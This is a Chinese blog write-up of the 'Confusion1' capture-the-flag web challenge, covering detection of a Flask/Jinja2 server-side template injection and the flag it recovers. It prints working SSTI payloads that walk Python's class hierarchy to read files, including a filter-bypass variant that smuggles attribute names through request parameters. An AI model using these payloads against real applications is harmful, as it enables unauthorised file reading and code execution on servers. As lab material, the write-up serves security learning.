【攻防世界WEB】难度四星12分进阶题:Confusion1

举报
黑色地带(崛起) 发表于 2023/01/27 21:24:45 2023/01/27
【摘要】 【攻防世界WEB】难度四星12分进阶题:Confusion1

前言:

介绍: 

博主:网络安全领域狂热爱好者。

殊荣:华为云博主、CSDN网络安全领域优质创作者(CSDN:黑色地带(崛起)),2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edusrc高白帽,vulfocus、攻防世界等平台排名100+、高校漏洞证书、cnvd原创漏洞证书等。

擅长:对于技术、工具、漏洞原理、黑产打击的研究。


导读:

面向读者:对于网络安全方面的学者。


Confusion1


编辑



解题方法:

1、SSTI漏洞,构造payload




过程:


编辑


大象        and        蛇(确实帅)

php+python想到了见过很多次的SSTI漏洞

编辑编辑


先到处逛逛(这个里面都是一些信息)

编辑

login和register都报错

(但是这里一定是很重要的地方)

编辑


看robot.txt(没什么东西)

编辑



 考虑分析页面源码了

login.php中Ctrl+U查看页面源码

发现flag路径

编辑



分析有没有SSTI漏洞

{{1+2}}

被运算了,得出结果3

编辑



SSTI常用的注入

__class__() 返回对象的类

__base__()/__mro__() 返回类所继承的基类

__subclasses__() 返回继承类的所有子类

pyaload:

{{"".__class__.__mro__[2].__subclasses__()[40]("/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt").read()}}

被过滤了

编辑



构造payload

request 是 Flask 框架的一个全局对象 , 表示 " 当前请求的对象( flask.request ) "

request.args.key   

args是参数,key可以是内置函数

——————

payload:

{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?&a=__class__&b=__mro__&c=__subclasses__&d=read

编辑

cyberpeace{a92d9e29b89ab062c895ddc06f237cb6} 

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。